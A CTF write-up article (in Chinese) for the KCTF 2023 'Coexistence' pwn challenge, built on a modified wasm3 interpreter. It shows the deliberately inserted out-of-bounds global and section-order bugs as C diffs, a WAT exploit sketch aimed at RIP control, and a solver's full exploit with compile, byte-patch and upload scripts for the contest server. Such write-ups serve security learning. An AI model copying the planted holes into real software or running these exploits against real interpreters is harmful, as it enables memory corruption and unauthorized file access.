看雪2023 KCTF年度赛 | 第13题·共存之道-设计思路及解析
2023-10-4 15:32:16 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

这是一场人类与超智能AI的“生死”较量

请立刻集结,搭乘SpaceX,前往AI控制空间站

智慧博弈  谁能问鼎

看雪·2023 KCTF 年度赛于9月1日中午12点正式开赛!比赛基本延续往届模式,设置了难度值、火力值和精致度积分。由此来引导竞赛的难度和趣味度,使其更具挑战性和吸引力,同时也为参赛选手提供了更加公平、有趣的竞赛平台。

*注意:签到题持续开放,整个比赛期间均可提交答案获得积分

今日中午12:00第十三题《共存之道》已截止答题,该题仅有xxx支战队成功提交flag,一起来看下该题的设计思路和解析吧。

出题团队简介

出题战队:星盟安全团队

战队成员:Tokameine

设计思路

自去年的 KCTF 以来,对 PWN 的认知渐渐发生了些许变化。刚开始入门的时候总希望着程序是精简而美观的,这样不会妨碍到自己在做题时的理解,但显然,并不是所有题目都是如此,也不是所有出题人都这么认为。随着接触到的内容越来越多,我渐渐不去关心程序本身是否美观了,因为那是一种奢侈,只要程序并不至于太大,总归是有办法的。
但是显然,越是接近真正的 PWN,或者说现实的 PWN,就会明白二进制体很小其实也是可遇不可求的,哪怕是各大比赛,都在往真实环境靠,依靠人力和反编译工具阅读代码变得越来越困难了。但或许大家都发现了,越是接近现实的 PWN 就越是无聊,如果 CTF Game 变得和现实里的挖洞没有区别了,那它还是Game吗?
出于这些考量,我希望能延续去年的方案,为选手直接或间接的提供源代码以供分析,并且将题目的关键点聚焦在 “漏洞利用” 而非 “漏洞挖掘‘。其实没有什么很强的目的性,但是不得不考虑的是,大部分漏洞挖掘的方式其实都比较千篇一律,但漏洞利用却能各不相同,既然是为了见识到更多的思考和技巧,那么还是从利用上提出问题比较令自己满意。(事实上,这两次KCTF中,我的题目都收获了让我意想不到的新奇做法,我觉得这种感觉很好,因为 CTF 本身就是一种对抗学习的比赛,出题人千方百计构造出的利用链完全有可能被选手以一种难以想象的方式攻破)
最开始,我是基于 V8 出一道题的,但是出于各种现实因素,最终还是放弃了。
但浏览器相关的东西一直以来都很有意思,所以最后选了一个较为经典的 WASM 解释器作为范本进行修改。
过去没接触过这些东西的时候对 WASM 还不敏感,但最近耳边相关的声音越来越多了,于是选了一个比较有代表性的项目作为样本进行魔改,也是希望选手能通过查询资料找到这个项目的源代码来加快分析:
https://github.com/wasm3/wasm3
整个项目的核心部分是用 C 语言编写的,并且代码量其实并不会特别庞大,相比于 V8 之类的 JavaScript 引擎,它要好上太多了。
大致阅读了一下代码逻辑可以发现,该项目支持很多不同的输入,而既然我们要以 WASM 作为游戏的关键部分,那自然要选择对 WASM 代码进行解析的部分作为主要内容了,大致逻辑如下:
◆读取输入的 WASM 字节码,交给m3_ParseModule按照模块进行解析
◆解析了输入模块以后,调用m3_LoadModule进行初始化设置
◆调用link_all将 WASI 模块链接进来
◆调用repl_call对模块中的函数实现进行调用,执行具体的字节码
每一个部分其实都适合插入漏洞,我最开始的想法是在字节码执行部分修改字节码的行为从而导致非预期的问题发生,但最终放弃了,因为它并不具备 JIT 的能力,并且所有的字节码都运行在内存隔离的环境下,无法对外界进行访问,而如果强行在这个地方注入漏洞,那一切就都会看起来非常突兀,并且题目会变得单一,这并非我希望的事情。
通过阅读第一部分的代码逻辑,我发现 WASM 字节码具有固定的格式,其中,对全局变量的访问实际上是通过数组索引进行的,最终编译在字节码中的字节其实就是一个索引。这非常有趣,因为它意味着用户输入可以不遵守编译器的阅读,而去构建非法的字节码进行越界。
事实上,我在使用 wat2wasm 对我的 exploit 进行编译时也发现,强行访问越界索引是会被编译器阻止的,以此为出发点,可以引导选手主动规避编译器的规范去构造恶意 WASM 字节码。
于是我修改了第一处代码,去除了对全局变量数组的扩展:
M3Result  Module_AddGlobal  (IM3Module io_module, IM3Global * o_global, u8 i_type, bool i_mutable, bool i_isImported)
{
_try {
    u32 index = io_module->numGlobals++;
    //io_module->globals = m3_ReallocArray (M3Global, io_module->globals, io_module->numGlobals, index);
    _throwifnull (io_module->globals);
    M3Global * global = & io_module->globals [index];
    global->type = i_type;
    global->imported = i_isImported;
    global->isMutable = i_mutable;

    if (o_global)
        * o_global = global;
} _catch:
    return result;
}

同时,还需要有一个地方能为全局变量进行初始化,我最终选定的目标是ParseSection_Import
M3Result  ParseSection_Import  (IM3Module io_module, bytes_t i_bytes, cbytes_t i_end)
{
    M3Result result = m3Err_none;
    M3ImportInfo import = { NULL, NULL }, clearImport = { NULL, NULL };
    u32 numImports;
_   (ReadLEB_u32 (& numImports, & i_bytes, i_end));                                 m3log (parse, "** Import [%d]", numImports);
    _throwif("too many imports", numImports > d_m3MaxSaneImportsCount);
    io_module->globals= m3_AllocArray (M3Global,  20);
   
    // Most imports are functions, so we won't waste much space anyway (if any)
_   (Module_PreallocFunctions(io_module, numImports));
选择这里其实是有原因的,因为只有在这个地方去创建才能让题目可做,后文会提到为什么。
有了这两个点以后,似乎一切都变得比较自然了。因为全局数组的地址紧邻着由Module_PreallocFunctions创建的函数列表。在M3Function结构体中存在一个compiled成员,阅读 Call 指令的编译部分可以发现,如果该成员非零,就会认为该函数已被编译,可以直接跳转到compiled中储存的地址去:
static
M3Result  Compile_Call  (IM3Compilation o, m3opcode_t i_opcode)
{
_try {
    u32 functionIndex;
_   (ReadLEB_u32 (& functionIndex, & o->wasm, o->wasmEnd));

    IM3Function function = Module_GetFunction (o->module, functionIndex);

    if (function)
    {                                                                   m3log (compile, d_indent " (func= [%d] '%s'; args= %d)",                                                                          get_indention_string (o), functionIndex, m3_GetFunctionName (function), function->funcType->numArgs);
        if (function->module)
        {
            u16 slotTop;
_           (CompileCallArgsAndReturn (o, & slotTop, function->funcType, false));
            IM3Operation op;
            const void * operand;
            if (function->compiled)
            {
                op = op_Call;
                operand = function->compiled;
            }
            else
            {
                op = op_Compile;
                operand = function;
            }

一切是不是都看起来非常的自然,就好像我只需要用额外的 global 去覆盖compiled就足够的样子,但实际上是不行的,并且是理论上不可能实现的。
我在测试的时候发现,二者在内存上是不可能有重叠的可能性的。如下是M3Global结构体的定义:
typedef struct M3Global
{
    M3ImportInfo            import;
    union
    {
        i32 i32Value;
        i64 i64Value;
#if d_m3HasFloat
        f64 f64Value;
        f32 f32Value;
#endif
    };
    cstr_t                  name;
    bytes_t                 initExpr;       // wasm code
    u32                     initExprSize;
    u8                      type;
    bool                    imported;
    bool                    isMutable;
}
M3Global;
用于储存具体数值的i64Value在内存上永远对齐了 0x10,而compiled则永远对齐到 0x08,不论如何覆盖都是不可能完成的,于是我还修改了一个点:
# ifndef d_m3MaxDuplicateFunctionImpl
#   define d_m3MaxDuplicateFunctionImpl         4
# endif
我让M3Function的 names 字段多加 8 个字节,这样是不是就能成功了呢?还是不行。经过笔者测试,如果二者在内存上直接相邻,那i64Valuecompiled最小也会有 0x10 的偏移,似乎还是不能成功。
但如果他们之间相互并不紧邻的话,就会导致向下覆盖到其他结构体的数据,这会直接导致程序崩溃所以也要避免。
好在我发现有一种方案能够避开崩溃并且自由调节i64Valuecompiled的偏移:
    static M3Parser s_parsers [] =
    {
        ParseSection_Custom,    // 0
        ParseSection_Type,      // 1
        ParseSection_Import,    // 2
        ParseSection_Function,  // 3
        NULL,                   // 4: TODO Table
        ParseSection_Memory,    // 5
        ParseSection_Global,    // 6
        ParseSection_Export,    // 7
        ParseSection_Start,     // 8
        ParseSection_Element,   // 9
        ParseSection_Code,      // 10
        ParseSection_Data,      // 11
        NULL,                   // 12: TODO DataCount
    };
WASM3 按照这样的顺序解析字节码,而 Function 数组最早会在ParseSection_Import中根据导入的符号数进行创建,如果实际的函数数量超过了当前的数组容量,那么就会调用realloc重新开辟,通过调整内存布局就能够让二者中间留下无用的内存,这样就可以任意越界了。
但是只是这样还是无法完成利用。
我本以为这样看起来好像万无一失了,但经过调试发现,我无法泄露任何地址,因为在m3_LoadModule会解析全局变量的值,这会让原本就算有值的地方也被覆盖成自己声明的值,并且没有手段能够阻止它不去解析。
但笔者发现通过 Import 导入的全局变量并不会被解析,这样就不用担心本该泄露的值被覆盖了,但是这也很糟糕,因为其他成员会破坏函数的结构体,这会导致在link_all阶段程序崩溃。于是我做了第三个变动:

M3Result  m3_ParseModule  (IM3Environment i_environment, IM3Module * o_module, cbytes_t i_bytes, u32 i_numBytes)
{
    IM3Module module;                                                               m3log (parse, "load module: %d bytes", i_numBytes);
_try {
....
    static const u8 sectionsOrder[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 12, 10, 11, 0 }; // 0 is a placeholder
    u8 expectedSection = 0;

    while (pos < end)
    {
        u8 section;
_       (ReadLEB_u7 (& section, & pos, end));

        if (section != 0) {
            // Ensure sections appear only once and in order
            //while (sectionsOrder[expectedSection++] != section) {
                _throwif(m3Err_misorderedWasmSection, section >= 12);
            //}
        }

这将导致程序解析不再需要按照顺序读取模块,甚至模块可以重复导入。那么最终就可以在正常的M3global后面插入 Import Global,从而规避开内存破坏。
在有了以上这些操作以后,最终能够构建出差不多如下的代码:
(module
(import "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "toka" (global $aa1 (mut i64)))
(import "toka" "toka" (global $aa2 (mut i64)))
(import "toka" "toka" (global $aa3 (mut i64)))
(import "toka" "toka" (global $aa4 (mut i64)))
(import "toka" "toka" (global $aa5 (mut i64)))

(global $g1 (mut i64) (i64.const 0));;6+31+12
(export "a" (global $g1))
(global $g2 (mut i64) (i64.const 0))
(global $g3 (mut i64) (i64.const 0))
(global $g4 (mut i64) (i64.const 0))
(global $g5 (mut i64) (i64.const 0))
(global $g6 (mut i64) (i64.const 0))
(global $g7 (mut i64) (i64.const 0))
(global $g8 (mut i64) (i64.const 0))
(global $g9 (mut i64) (i64.const 0))
(global $g10 (mut i64) (i64.const 0))
(global $g11 (mut i64) (i64.const 0))
(global $g12 (mut i64) (i64.const 0))
(global $g13 (mut i64) (i64.const 0))
(global $g14 (mut i64) (i64.const 0))
(global $g15 (mut i64) (i64.const 0))
(global $g16 (mut i64) (i64.const 0))
(global $g17 (mut i64) (i64.const 0))
(global $g18 (mut i64) (i64.const 0))
(global $g19 (mut i64) (i64.const 0))
(global $g20 (mut i64) (i64.const 0))
(global $g21 (mut i64) (i64.const 0))
(global $g22 (mut i64) (i64.const 0))
(global $g23 (mut i64) (i64.const 0))
(global $g24 (mut i64) (i64.const 0))
(global $g25 (mut i64) (i64.const 0))
(global $g26 (mut i64) (i64.const 0))
(global $g27 (mut i64) (i64.const 0))
(global $g28 (mut i64) (i64.const 0))
(global $g29 (mut i64) (i64.const 0))
(global $g30 (mut i64) (i64.const 0))
(global $g31 (mut i64) (i64.const 0))
(global $a0 (mut i64) (i64.const 0))
(global $a1 (mut i64) (i64.const 0))
(global $a2 (mut i64) (i64.const 0))
(global $a3 (mut i64) (i64.const 0))
(global $a4 (mut i64) (i64.const 0))
(global $a5 (mut i64) (i64.const 0))
(global $a6 (mut i64) (i64.const 0))
(global $a7 (mut i64) (i64.const 0))
(global $a8 (mut i64) (i64.const 0))
(global $a9 (mut i64) (i64.const 0))
(global $a10 (mut i64) (i64.const 0))
(global $a11 (mut i64) (i64.const 1))

(memory 1024)
(data (i32.const 0) "Hello, world!\n")
(func $toka1
)
(func $toka
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)

)

(func $toka2

)
(func $toka3

)
(func $toka4

)
(func $toka5

)
(func $toka6

)
(func $toka7

)
(func $toka8

)
(func $toka9

)
(func $toka10

)

;; _start function
(func $_start(export "_start")
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)

(call $toka10)
(global.get $a10) ;;get global[49]
(i64.sub (i64.const 71016))

(local.set 0)

(i64.const 4221760)
(local.set 1)
(i64.const 29400045130965551)
(local.set 2)
(local.get 0)
(global.set $a9) ;;set global[50] to control rip
(global.get $a9)
(local.set 5)
(call $toka1)
)
(export "toka1" (func $toka1))
(export "/bin/sh" (func $toka1))
)

其中有部分对全局变量获取的地方需要手动对编译后的字节码进行 patch 来调整输入,并且最终要在 export 段以后额外添加一份 import 段:
解题思路其实就跟出题思路差不多了,唯一的区别就是在漏洞发现部分,选手可以用bindiff对程序进行对比,从而找出被修补后的代码部分,然后通过阅读二进制程序来还原源代码。
最终确立出如下两个变化:
◆全局变量越界
◆解析顺序随意
因为我对代码的改动其实很少,所以应该是比较容易能够发现问题的。
后续的利用就如前文所说了。
其实对堆风水的细节调整笔者做了大量的调试,要比文中所说的麻烦的多,作为防守方我肯定是希望尽可能减少修改来提高难度的,但是有的时候如果不这么改又做不出来,又或者我能否再少改一些?或许是我把自己绕进去了吧。
最后也希望各位玩的开心,享受这个游戏的过程。

赛题解析

本题解析由看雪大侠 H.R.P 提供:

一般这种题会提供diff,但是没有提供,证明没有大魔改,然后根据官方文档去看API的调用是否被改变。IDA搜索字符串"wasi_snapshot_preview1" 可以发现剩余少的可怜的API,主要有用的如下
(import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))

利用ORW直接读取flag,但是你要我在第一次短时间内写出wat文件的格式是很难的啦,直接GitHub搜就完事了。模板连接如下模板(https://github.com/eliben/wasm-wat-samples/blob/main/wasi-read-file/readfile.wat)

这里要稍微改下的就是path_open的2个权限标志,把2个3都改成2(fd_rights_base 和fd_rights_inheriting ),生成wasm的脚本是嫖的https://blog.wm-team.cn/index.php/archives/34/

完整EXP如下:

import oscode = ''';; This sample shows how to read a file using WASM/WASI.;;;; Reading a file requires sandbox permissions in WASM. By default, WASM;; module cannot access the file system, and they require special permissions;; to be granted from the host. The majority of this code deals with obtaining;; the "pre-set" directory the host mapped for us, so we can open the file;; and read it.;;;; Eli Bendersky [https://eli.thegreenplace.net];; This code is in the public domain.(module    (import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))    (import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))     (memory (export "memory") 1)     (func $main (export "_start")        (local $errno i32)         ;; Call fd_prestat_get to obtain length of dir name at fd=3        ;; We pass the pointer to $prestat_tag_buf -- the actual length will        ;; be written to the next word in memory, which is $prestat_dir_name_len        (local.set $errno            (call $fd_prestat_get (i32.const 3) (global.get $prestat_tag_buf)))        (if (i32.ne (local.get $errno) (i32.const 0))            (then                (call $println_number (local.get $errno))                (call $die (i32.const 6900) (i32.const 28))))         ;; Call fd_prestat_dir_name to obtain dir name at fd=3, saving it to        ;; $fd_prestat_dir_name        (local.set $errno            (call $fd_prestat_dir_name                (i32.const 3)                (global.get $prestat_dir_name_buf)                (i32.load (global.get $prestat_dir_name_len))))        (if (i32.ne (local.get $errno) (i32.const 0))            (then                (call $println_number (local.get $errno))                (call $die (i32.const 6950) (i32.const 33))))         ;; Sanity checking of the prestat dir: expect it to start with '/'        ;; (ASCII 47)        (i32.or            (i32.lt_u (i32.load (global.get $prestat_dir_name_len)) (i32.const 1))            (i32.ne (i32.load8_u (global.get $prestat_dir_name_buf)) (i32.const 47)))        if            (call $die (i32.const 7025) (i32.const 49))        end         ;; Open the input file using fd=3 as the base directory.        ;; This assumes the input file is relative to the base directory.        ;; The result of this call will be the fd for the opened file in        ;; $path_open_fd_out        ;;        ;; Note: the rights flags are minimal -- only allowing fd_read.        ;; Previously I tried giving "all" rights, but this didn't work in        ;; node (though it did in other runtimes). The reason for this may        ;; be that each fd has its maximal inheriting rights (specified in        ;; the fdstat.fs_rights_inheriting field), and we can't open a file        ;; with higher rights than its parents' inheriting field allows.        (local.set $errno            (call $path_open                (i32.const 3)           ;; fd=3 as base dir                (i32.const 0x1)         ;; lookupflags: symlink_follow=1                (i32.const 7940)        ;; file name in memory                (i32.const 10)          ;; length of file name                (i32.const 0x0)         ;; oflags=0                (i64.const 2)           ;; fd_rights_base: fd_read rights                (i64.const 2)           ;; fd_rights_inheriting: fd_read rights                (i32.const 0x0)         ;; fdflags=0                (global.get $path_open_fd_out)))        (if (i32.ne (local.get $errno) (i32.const 0))            (then                (call $println_number (local.get $errno))                (call $die (i32.const 7090) (i32.const 37))))         ;; (call $println_number (i32.load (global.get $path_open_fd_out)))         ;; Populat iovecs for fd_read; we create a single vector with a        ;; buffer length of 128        (i32.store (global.get $read_iovec) (global.get $read_buf))        (i32.store (i32.add (global.get $read_iovec) (i32.const 4)) (i32.const 128))         (local.set $errno            (call $fd_read                (i32.load (global.get $path_open_fd_out))                (global.get $read_iovec)                (i32.const 1)                (global.get $fdread_ret)))        (if (i32.ne (local.get $errno) (i32.const 0))            (then                (call $die (i32.const 7130) (i32.const 29))))         ;; Print out how many bytes were actually read        (call $println_number (i32.load (global.get $fdread_ret)))         ;; Print "read from file" header        (call $println (i32.const 7170) (i32.const 17))         ;; ... now print what was actually read; the read buffer was pointed to        ;; by the fd_read io vector, and use fd_read's "number of bytes read"        ;; return value for the length.        (call $println (global.get $read_buf) (global.get $fdread_ret))    )     ;; println prints a string to stdout using WASI, adding a newline.    ;; It takes the string's address and length as parameters.    (func $println (param $strptr i32) (param $len i32)        ;; Print the string pointed to by $strptr first.        ;;   fd=1        ;;   data vector with the pointer and length        (i32.store (global.get $datavec_addr) (local.get $strptr))        (i32.store (global.get $datavec_len) (local.get $len))        (call $fd_write            (i32.const 1)            (global.get $datavec_addr)            (i32.const 1)            (global.get $fdwrite_ret)        )        drop         ;; Print out a newline.        (i32.store (global.get $datavec_addr) (i32.const 8010))        (i32.store (global.get $datavec_len) (i32.const 1))        (call $fd_write            (i32.const 1)            (global.get $datavec_addr)            (i32.const 1)            (global.get $fdwrite_ret)        )        drop    )     ;; Prints a message (address and len parameters) and exits the process    ;; with return code 1.    (func $die (param $strptr i32) (param $len i32)        (call $println (local.get $strptr) (local.get $len))        (call $proc_exit (i32.const 1))    )     ;; println_number prints a number as a string to stdout, adding a newline.    ;; It takes the number as parameter.    (func $println_number (param $num i32)        (local $numtmp i32)        (local $numlen i32)        (local $writeidx i32)        (local $digit i32)        (local $dchar i32)         ;; Count the number of characters in the output, save it in $numlen.        (i32.lt_s (local.get $num) (i32.const 10))        if            (local.set $numlen (i32.const 1))        else            (local.set $numlen (i32.const 0))            (local.set $numtmp (local.get $num))            (loop $countloop (block $breakcountloop                (i32.eqz (local.get $numtmp))                br_if $breakcountloop                 (local.set $numtmp (i32.div_u (local.get $numtmp) (i32.const 10)))                (local.set $numlen (i32.add (local.get $numlen) (i32.const 1)))                br $countloop            ))        end         ;; Now that we know the length of the output, we will start populating        ;; digits into the buffer. E.g. suppose $numlen is 4:        ;;        ;;                     _  _  _  _        ;;        ;;                     ^        ^        ;;  $itoa_out_buf -----|        |---- $writeidx        ;;        ;;        ;; $writeidx starts by pointing to $itoa_out_buf+3 and decrements until        ;; all the digits are populated.        (local.set $writeidx            (i32.sub                (i32.add (global.get $itoa_out_buf) (local.get $numlen))                (i32.const 1)))         (loop $writeloop (block $breakwriteloop            ;; digit <- $num % 10            (local.set $digit (i32.rem_u (local.get $num) (i32.const 10)))            ;; set the char value from the lookup table of digit chars            (local.set $dchar (i32.load8_u offset=8000 (local.get $digit)))             ;; mem[writeidx] <- dchar            (i32.store8 (local.get $writeidx) (local.get $dchar))             ;; num <- num / 10            (local.set $num (i32.div_u (local.get $num) (i32.const 10)))             ;; If after writing a number we see we wrote to the first index in            ;; the output buffer, we're done.            (i32.eq (local.get $writeidx) (global.get $itoa_out_buf))            br_if $breakwriteloop             (local.set $writeidx (i32.sub (local.get $writeidx) (i32.const 1)))            br $writeloop        ))         (call $println            (global.get $itoa_out_buf)            (local.get $numlen))    )     ;;    ;; Memory mapping and initialization.    ;;     (data (i32.const 6900) "error: fd_prestat_get failed")    (data (i32.const 6950) "error: fd_prestat_dir_name failed")    (data (i32.const 7025) "error: expect first preopened directory to be '/'")    (data (i32.const 7090) "error: unable to path_open input file")    (data (i32.const 7130) "error: fd_read failed")    (data (i32.const 7170) "Read from file:\\n")     ;; These slots are used as parameters for fd_write, and its return value.    (global $datavec_addr i32 (i32.const 7900))    (global $datavec_len i32 (i32.const 7904))    (global $fdwrite_ret i32 (i32.const 7908))     ;; For prestat calls    (global $prestat_tag_buf i32 (i32.const 7920))    (global $prestat_dir_name_len i32 (i32.const 7924))    (global $prestat_dir_name_buf i32 (i32.const 7936))     ;; File name    (data (i32.const 7940) "flag")     ;; Output buf for path_open to write fd into    (global $path_open_fd_out i32 (i32.const 7952))     ;; Using some memory for a number-->digit ASCII lookup-table, and then the    ;; space for writing the result of $itoa.    (data (i32.const 8000) "0123456789")    (data (i32.const 8010) "\\n")    (global $itoa_out_buf i32 (i32.const 8020))     ;; Buffer for fd_read    (global $read_iovec i32 (i32.const 8100))    (global $fdread_ret i32 (i32.const 8112))    (global $read_buf i32 (i32.const 8120)))''' lines = code.split('\n')code = ''for line in lines:    if '/' not in line:        code += line + '\n'  os.remove("exp.wat")with open('exp.wat', 'w') as f:    f.write(code)os.system('wat2wasm --enable-all --no-check exp.wat') with open("exp.wasm", "rb") as f:    wasm_data = f.read()    wasm_data = wasm_data.replace(b'\xfc\x0c\x00\x00', b'\xfc\x0c\x01\x01') with open("exp.wasm", "wb") as f:    f.write(wasm_data)

上传脚本如下:

from pwn import *context.log_level='debug'# 读取本地的exp.wasm文件with open("exp.wasm", "rb") as wasm_file:    wasm_data = wasm_file.read() # 将WASM文件数据进行Base64编码base64_data = base64.b64encode(wasm_data).decode() # 构建要发送的数据字符串data_to_send = f"{base64_data}" # 连接到服务器并发送数据with remote("123.59.196.133", 10040) as r:    r.send(data_to_send) r.interactive()
攻击方排名前10如下:

至此,看雪2023 KCTF年度赛已圆满结束,感谢各位的参与及关注。后续将公布本赛季排行榜,敬请期待!

球分享

球点赞

球在看

点击阅读原文进入比赛


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458520917&idx=1&sn=320fa0b5f8b03bf2fb018fff445ff6b7&chksm=b18d3ddf86fab4c9236721ea1fc94fe50021ecd386edaeba9db787cd53f902c693a7389f89f7&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh